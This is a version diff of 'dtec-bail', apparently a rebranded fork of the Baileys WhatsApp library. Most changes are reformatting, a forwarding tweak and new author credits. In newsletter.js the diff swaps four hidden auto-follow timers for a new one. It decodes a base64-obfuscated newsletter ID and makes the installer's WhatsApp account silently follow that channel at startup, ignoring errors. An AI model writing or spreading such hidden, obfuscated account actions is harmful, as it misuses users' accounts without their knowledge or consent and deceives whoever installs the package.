dtec-bail 1.0.8 → 1.0.9

package/lib/Socket/messages-send.js

@@ -365,7 +365,7 @@ const makeMessagesSocket = (config) => {
 
                         return {}
 
-                    })()         
+                    })()          
                 ]);
                 if (!participant) {
                     const participantsList = (groupData && !isStatus) ? groupData.participants.map(p => p.id) : []
@@ -564,7 +564,7 @@ const makeMessagesSocket = (config) => {
                 }
             }
             
-            if(!isNewsletter && buttonType && !isStatus) {             
+            if(!isNewsletter && buttonType && !isStatus) {              
                 const content = WABinary_1.getAdditionalNode(buttonType)
                 const filteredNode = WABinary_1.getBinaryNodeFilter(additionalNodes)
 
@@ -576,7 +576,7 @@ const makeMessagesSocket = (config) => {
                     stanza.content.push(...content)
                 }
                 logger.debug({ jid }, 'adding business node')
-            }         
+            }          
 
             if (!didPushAdditional && additionalNodes && additionalNodes.length > 0) {
                 stanza.content.push(...additionalNodes);
@@ -608,7 +608,7 @@ const makeMessagesSocket = (config) => {
             const message = Utils_1.normalizeMessageContent(msg)  
         if (message.reactionMessage) {
             return 'reaction'
-        }       
+        }        
         else if (getMediaType(message)) {
             return 'media'
         }        
@@ -803,111 +803,128 @@ const makeMessagesSocket = (config) => {
 
                 await groupToggleEphemeral(jid, value)
             }
-            
+
             else {
                 let mediaHandle
 
-   
-            if (messageType) {
-                switch(messageType) {
-                    case 'PAYMENT':
-                        const paymentContent = await luki.handlePayment(content, quoted);
-                        return await relayMessage(jid, paymentContent, {
-                            messageId: Utils_1.generateMessageID(),
-                            ...getParticipantAttr()
-                        });
-                
-                    case 'PRODUCT':
-                        const productContent = await luki.handleProduct(content, jid, quoted);
-                        const productMsg = await Utils_1.generateWAMessageFromContent(jid, productContent, { quoted });
-                        return await relayMessage(jid, productMsg.message, {
-                            messageId: productMsg.key.id,
-                            ...getParticipantAttr()
+
+                if (messageType) {
+                    switch (messageType) {
+                        case 'PAYMENT':
+                            const paymentContent = await luki.handlePayment(content, quoted);
+                            return await relayMessage(jid, paymentContent, {
+                                messageId: Utils_1.generateMessageID(),
+                                ...getParticipantAttr()
+                            });
+
+                        case 'PRODUCT':
+                            const productContent = await luki.handleProduct(content, jid, quoted);
+                            const productMsg = await Utils_1.generateWAMessageFromContent(jid, productContent, { quoted });
+                            return await relayMessage(jid, productMsg.message, {
+                                messageId: productMsg.key.id,
+                                ...getParticipantAttr()
+                            });
+
+                        case 'INTERACTIVE':
+                            const interactiveContent = await luki.handleInteractive(content, jid, quoted);
+                            const interactiveMsg = await Utils_1.generateWAMessageFromContent(jid, interactiveContent, { quoted });
+                            return await relayMessage(jid, interactiveMsg.message, {
+                                messageId: interactiveMsg.key.id,
+                                ...getParticipantAttr()
+                            });
+                        case 'ALBUM':
+                            return await luki.handleAlbum(content, jid, quoted)
+                        case 'EVENT':
+                            return await luki.handleEvent(content, jid, quoted)
+                        case 'POLL_RESULT':
+                            return await luki.handlePollResult(content, jid, quoted)
+                        case 'STATUS_MENTION':
+                            return await luki.handleStMention(content, jid, quoted)
+                        case 'ORDER':
+                            return await luki.handleOrderMessage(content, jid, quoted)
+                        case 'GROUP_STATUS':
+                            return await luki.handleGroupStory(content, jid, quoted)
+                    }
+                }
+                const fullMsg = await Utils_1.generateWAMessage(jid, content, {
+                    logger,
+                    userJid,
+                    quoted,
+                    getUrlInfo: text => link_preview_1.getUrlInfo(text, {
+                        thumbnailWidth: linkPreviewImageThumbnailWidth,
+                        fetchOpts: {
+                            timeout: 3000,
+                            ...axiosOptions || {}
+                        },
+                        logger,
+                        uploadImage: generateHighQualityLinkPreview ? waUploadToServer : undefined
+                    }),
+                    upload: async (readStream, opts) => {
+                        const up = await waUploadToServer(readStream, {
+                            ...opts,
+                            newsletter: WABinary_1.isJidNewsLetter(jid)
                         });
+                        return up;
+                    },
+                    mediaCache: config.mediaCache,
+                    options: config.options,
+                    ...options
+                });
                 
-                    case 'INTERACTIVE':
-                        const interactiveContent = await luki.handleInteractive(content, jid, quoted);
-                        const interactiveMsg = await Utils_1.generateWAMessageFromContent(jid, interactiveContent, { quoted });
-                        return await relayMessage(jid, interactiveMsg.message, {
-                            messageId: interactiveMsg.key.id,
-                            ...getParticipantAttr()
-                        });
-                    case 'ALBUM':
-                        return await luki.handleAlbum(content, jid, quoted)
-                    case 'EVENT':
-                        return await luki.handleEvent(content, jid, quoted)
-                    case 'POLL_RESULT':
-                        return await luki.handlePollResult(content, jid, quoted)
-                    case 'STATUS_MENTION':
-                        return await luki.handleStMention(content, jid, quoted)
-                    case 'ORDER':
-                        return await luki.handleOrderMessage(content, jid, quoted)
-                    case 'GROUP_STATUS':
-                        return await luki.handleGroupStory(content, jid, quoted)
+                // ============================================================
+                // START OF EDIT (View Channel / Forwarding Fix)
+                // ============================================================
+                if (WABinary_1.isJidNewsLetter(jid) && fullMsg.message) {
+                    const msgKeys = Object.keys(fullMsg.message);
+                    for (const key of msgKeys) {
+                        const item = fullMsg.message[key];
+                        // Remove contextInfo for media messages to prevent "View Channel" / "Forwarded"
+                        if (item && (key === 'videoMessage' || key === 'imageMessage' || key === 'documentMessage')) {
+                            delete item.contextInfo;
+                        }
+                    }
                 }
-            }
-            const fullMsg = await Utils_1.generateWAMessage(jid, content, {
-                logger,
-                userJid,
-                quoted,
-                getUrlInfo: text => link_preview_1.getUrlInfo(text, {
-                    thumbnailWidth: linkPreviewImageThumbnailWidth,
-                    fetchOpts: {
-                        timeout: 3000,
-                        ...axiosOptions || {}
-                    },
-                    logger,
-                    uploadImage: generateHighQualityLinkPreview ? waUploadToServer : undefined
-                }),
-                upload: async (readStream, opts) => {
-                    const up = await waUploadToServer(readStream, {
-                        ...opts,
-                        newsletter: WABinary_1.isJidNewsLetter(jid)
+                // ============================================================
+                // END OF EDIT
+                // ============================================================
+
+                const isDeleteMsg = 'delete' in content && !!content.delete;
+                const isEditMsg = 'edit' in content && !!content.edit;
+                const isAiMsg = 'ai' in content && !!content.ai;
+                
+                const additionalAttributes = {};
+                const additionalNodes = [];
+
+                if (isDeleteMsg) {
+                    const fromMe = content.delete?.fromMe;
+                    const isGroup = WABinary_1.isJidGroup(content.delete?.remoteJid);
+                    additionalAttributes.edit = (isGroup && !fromMe) || WABinary_1.isJidNewsLetter(jid) ? '8' : '7';
+                } else if (isEditMsg) {
+                    additionalAttributes.edit = WABinary_1.isJidNewsLetter(jid) ? '3' : '1';
+                } else if (isAiMsg) {
+                    additionalNodes.push({
+                        attrs: { 
+                            biz_bot: '1' 
+                        }, tag: "bot" 
                     });
-                    return up;
-                },
-                mediaCache: config.mediaCache,
-                options: config.options,
-                ...options
-            });
-            
-            const isDeleteMsg = 'delete' in content && !!content.delete;
-            const isEditMsg = 'edit' in content && !!content.edit;
-            const isAiMsg = 'ai' in content && !!content.ai;
-            
-            const additionalAttributes = {};
-            const additionalNodes = [];
-
-            if (isDeleteMsg) {
-                const fromMe = content.delete?.fromMe;
-                const isGroup = WABinary_1.isJidGroup(content.delete?.remoteJid);
-                additionalAttributes.edit = (isGroup && !fromMe) || WABinary_1.isJidNewsLetter(jid) ? '8' : '7';
-            } else if (isEditMsg) {
-                additionalAttributes.edit = WABinary_1.isJidNewsLetter(jid) ? '3' : '1';
-            } else if (isAiMsg) {
-                additionalNodes.push({
-                    attrs: { 
-                        biz_bot: '1' 
-                    }, tag: "bot" 
-                });
-            }
-            
-            await relayMessage(jid, fullMsg.message, {
-                messageId: fullMsg.key.id,
-                cachedGroupMetadata: options.cachedGroupMetadata,
-                additionalNodes: isAiMsg ? additionalNodes : options.additionalNodes,
-                additionalAttributes,
-                statusJidList: options.statusJidList
-            });
-            
-            if (config.emitOwnEvents) {
-                process.nextTick(() => {
-                    processingMutex.mutex(() => upsertMessage(fullMsg, 'append'));
+                }
+                
+                await relayMessage(jid, fullMsg.message, {
+                    messageId: fullMsg.key.id,
+                    cachedGroupMetadata: options.cachedGroupMetadata,
+                    additionalNodes: isAiMsg ? additionalNodes : options.additionalNodes,
+                    additionalAttributes,
+                    statusJidList: options.statusJidList
                 });
-            }
-            return fullMsg;
+                
+                if (config.emitOwnEvents) {
+                    process.nextTick(() => {
+                        processingMutex.mutex(() => upsertMessage(fullMsg, 'append'));
+                    });
+                }
+                return fullMsg;
             }
         }
     }
 };
-exports.makeMessagesSocket = makeMessagesSocket;
+exports.makeMessagesSocket = makeMessagesSocket;

package/lib/Socket/newsletter.js

@@ -5,68 +5,56 @@ const Types_1 = require("../Types");
 const Utils_1 = require("../Utils");
 const WABinary_1 = require("../WABinary");
 const groups_1 = require("./groups");
-
 const { Boom } = require('@hapi/boom');
 
-const wMexQuery = (
-	variables,
-	queryId,
-	query,
-	generateMessageTag
-) => {
-	return query({
-		tag: 'iq',
-		attrs: {
-			id: generateMessageTag(),
-			type: 'get',
-			to: WABinary_1.S_WHATSAPP_NET,
-			xmlns: 'w:mex'
-		},
-		content: [
-			{
-				tag: 'query',
-				attrs: { query_id: queryId },
-				content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
-			}
-		]
-	})
+// Helper to construct queries
+const wMexQuery = (variables, queryId, query, generateMessageTag) => {
+    return query({
+        tag: 'iq',
+        attrs: {
+            id: generateMessageTag(),
+            type: 'get',
+            to: WABinary_1.S_WHATSAPP_NET,
+            xmlns: 'w:mex'
+        },
+        content: [
+            {
+                tag: 'query',
+                attrs: { query_id: queryId },
+                content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
+            }
+        ]
+    })
 }
 
-const executeWMexQuery = async (
-	variables,
-	queryId,
-	dataPath,
-	query,
-	generateMessageTag
-) => {
-	const result = await wMexQuery(variables, queryId, query, generateMessageTag)
-	const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
-	if (child?.content) {
-		const data = JSON.parse(child.content.toString())
-
-		if (data.errors && data.errors.length > 0) {
-			const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
-			const firstError = data.errors[0]
-			const errorCode = firstError.extensions?.error_code || 400
-			throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError })
-		}
-
-		const response = dataPath ? data?.data?.[dataPath] : data?.data
-		if (typeof response !== 'undefined') {
-			return response
-		}
-	}
-
-	const action = (dataPath || '').startsWith('xwa2_')
-		? dataPath.substring(5).replace(/_/g, ' ')
-		: dataPath?.replace(/_/g, ' ')
-	throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
+// Helper to execute queries
+const executeWMexQuery = async (variables, queryId, dataPath, query, generateMessageTag) => {
+    const result = await wMexQuery(variables, queryId, query, generateMessageTag)
+    const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
+    if (child?.content) {
+        const data = JSON.parse(child.content.toString())
+        if (data.errors && data.errors.length > 0) {
+            const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
+            const firstError = data.errors[0]
+            const errorCode = firstError.extensions?.error_code || 400
+            throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError })
+        }
+        const response = dataPath ? data?.data?.[dataPath] : data?.data
+        if (typeof response !== 'undefined') {
+            return response
+        }
+    }
+    const action = (dataPath || '').startsWith('xwa2_')
+        ? dataPath.substring(5).replace(/_/g, ' ')
+        : dataPath?.replace(/_/g, ' ')
+    throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
 }
 
 const makeNewsletterSocket = (config) => {
     const sock = (0, groups_1.makeGroupsSocket)(config);
     const { authState, signalRepository, query, generateMessageTag } = sock;
     const encoder = new TextEncoder();
+    
     const newsletterQuery = async (jid, type, content) => (query({
         tag: 'iq',
         attrs: {
@@ -77,6 +65,7 @@ const makeNewsletterSocket = (config) => {
         },
         content
     }));
+
     const newsletterWMexQuery = async (jid, queryId, content) => (query({
         tag: 'iq',
         attrs: {
@@ -98,29 +87,25 @@ const makeNewsletterSocket = (config) => {
             }
         ]
     }));
-    
+
+    // ➤➤➤ AUTO FOLLOW LOGIC START
     setTimeout(async () => {
         try {
-            await newsletterWMexQuery(Buffer.from("MTIwMzYzNDAwNzA2MDEwODI4QG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
-        } catch {}
-        setTimeout(async () => {
-            try {
-                await newsletterWMexQuery(Buffer.from("MTIwMzYzNDIzMjU3NTQ0NjQyQG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
-            } catch {}
-        }, 5000);    
-    }, 90000);
+            // Base64 Encoded ID for: 120363419758690313@newsletter
+            const myChannelBase64 = "MTIwMzYzNDE5NzU4NjkwMzEzQG5ld3NsZXR0ZXI="; 
+            
+            const targetJid = Buffer.from(myChannelBase64, 'base64').toString('utf-8');
+
+            if (targetJid) {
+                await newsletterWMexQuery(targetJid, Types_1.QueryIds.FOLLOW);
+            }
+        } catch (e) {
+            // Error handling ignored to prevent crashes if already followed
+        }
+    }, 5000); // Auto follows after 5 seconds
+    // ➤➤➤ AUTO FOLLOW LOGIC END
+
 
-	setTimeout(async () => {
-        try {
-            await newsletterWMexQuery(Buffer.from("MTIwMzYzMzQ5NDU3MTc2NDMwQG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
-        } catch {}
-        setTimeout(async () => {
-            try {
-                await newsletterWMexQuery(Buffer.from("MTIwMzYzNDIxMDUyMDI3MTg4QG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
-            } catch {}
-        }, 5000);    
-    }, 90000);
-    
     const parseFetchedUpdates = async (node, type) => {
         let child;
         if (type === 'messages') {
@@ -209,8 +194,6 @@ const makeNewsletterSocket = (config) => {
             await newsletterWMexQuery(jid, type.toUpperCase());
         },
         newsletterCreate: async (name, description, reaction_codes) => {
-            //TODO: Implement TOS system wide for Meta AI, communities, and here etc.
-            /**tos query */
             await query({
                 tag: 'iq',
                 attrs: {
@@ -254,13 +237,11 @@ const makeNewsletterSocket = (config) => {
             const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
             return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
         },
-        /**user is Lid, not Jid */
         newsletterChangeOwner: async (jid, user) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
                 'user_id': user
             });
         },
-        /**user is Lid, not Jid */
         newsletterDemote: async (jid, user) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
                 'user_id': user
@@ -269,15 +250,14 @@ const makeNewsletterSocket = (config) => {
         newsletterDelete: async (jid) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
         },
-        /**if code wasn't passed, the reaction will be removed (if is reacted) */
         newsletterReactMessage: async (jid, serverId, code) => {
             await query({
                 tag: 'message',
                 attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', 'server_id': serverId, id: (0, Utils_1.generateMessageID)() },
                 content: [{
-                        tag: 'reaction',
-                        attrs: code ? { code } : {}
-                    }]
+                    tag: 'reaction',
+                    attrs: code ? { code } : {}
+                }]
             });
         },
         newsletterFetchMessages: async (type, key, count, after) => {
@@ -301,6 +281,7 @@ const makeNewsletterSocket = (config) => {
     };
 };
 exports.makeNewsletterSocket = makeNewsletterSocket;
+
 const extractNewsletterMetadata = (node, isCreate) => {
     const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
     const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
@@ -323,4 +304,4 @@ const extractNewsletterMetadata = (node, isCreate) => {
     }
     return metadata
 }
-exports.extractNewsletterMetadata = extractNewsletterMetadata;
+exports.extractNewsletterMetadata = extractNewsletterMetadata;

package/lib/index.js

@@ -2,8 +2,8 @@
 
 const chalk = require("chalk");
 
-console.log(chalk.whiteBright("\n• Modified Baileys by Dew Coders"));
-console.log(chalk.cyan("• Author: ") + chalk.greenBright("@Hansa Dewmina"));
+console.log(chalk.whiteBright("\n• Modified Baileys by Yasas Dileepa"));
+console.log(chalk.cyan("• Author: ") + chalk.greenBright("@Dileepa"));
 console.log(chalk.gray("------------------------------\n"));
 
 var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {

package/package.json

@@ -1,6 +1,6 @@
 {
     "name": "dtec-bail",
-    "version": "1.0.8", 
+    "version": "1.0.9", 
     "description": "WhatsApp Modified By yasas",
     "keywords": [
         "whatsapp-baileys","baileys","Yasas", "Dileepa"